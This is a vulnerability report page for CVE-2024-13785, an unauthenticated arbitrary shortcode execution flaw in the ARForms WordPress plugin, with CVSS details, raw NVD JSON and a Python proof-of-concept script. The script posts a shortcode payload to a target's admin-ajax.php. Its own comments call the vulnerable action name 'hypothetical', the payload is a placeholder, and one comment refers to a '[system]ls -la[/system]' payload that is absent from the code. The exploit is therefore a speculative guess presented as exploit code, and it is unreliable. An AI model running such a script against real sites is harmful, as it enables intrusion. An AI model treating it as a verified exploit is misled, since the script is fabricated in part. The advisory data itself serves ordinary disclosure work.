Security Vulnerability Report
中文
CVE-2024-13785 CVSS 5.6 MEDIUM

CVE-2024-13785

Published: 2026-03-21 04:16:48
Last Modified: 2026-04-22 21:32:08

Description

The The Contact Form, Survey, Quiz & Popup Form Builder – ARForms plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.7.2. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.

CVSS Details

CVSS Score
5.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ARForms <= 1.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_arforms(target_url): """ PoC for CVE-2024-13785: Arbitrary Shortcode Execution in ARForms Plugin. This script sends a malicious payload to execute arbitrary shortcodes. """ # The AJAX endpoint for WordPress ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Vulnerable payload containing a malicious shortcode # Replace [system]ls -la[/system] with a shortcode available on the target server payload = { "action": "arforms_public_action", # The vulnerable action parameter (hypothetical name based on vuln description) "item_id": "[malicious_shortcode]" # The parameter that gets passed to do_shortcode without validation } try: print(f"[+] Sending payload to {ajax_url}...") response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response (check for execution output):") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with the actual target URL exploit_arforms(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-13785", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:47.620", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The The Contact Form, Survey, Quiz & Popup Form Builder – ARForms plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.7.2. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes."}, {"lang": "es", "value": "El plugin The Contact Form, Survey, Quiz &amp; Popup Form Builder – ARForms para WordPress es vulnerable a la ejecución arbitraria de shortcodes en todas las versiones hasta la 1.7.2, inclusive. Esto se debe a que el software permite a los usuarios ejecutar una acción que no valida correctamente un valor antes de ejecutar do_shortcode. Esto hace posible que atacantes no autenticados ejecuten shortcodes arbitrarios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://wordpress.org/plugins/arforms-form-builder/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8b4a47f7-0161-4a57-994f-c48795810ea3?source=cve", "source": "[email protected]"}]}}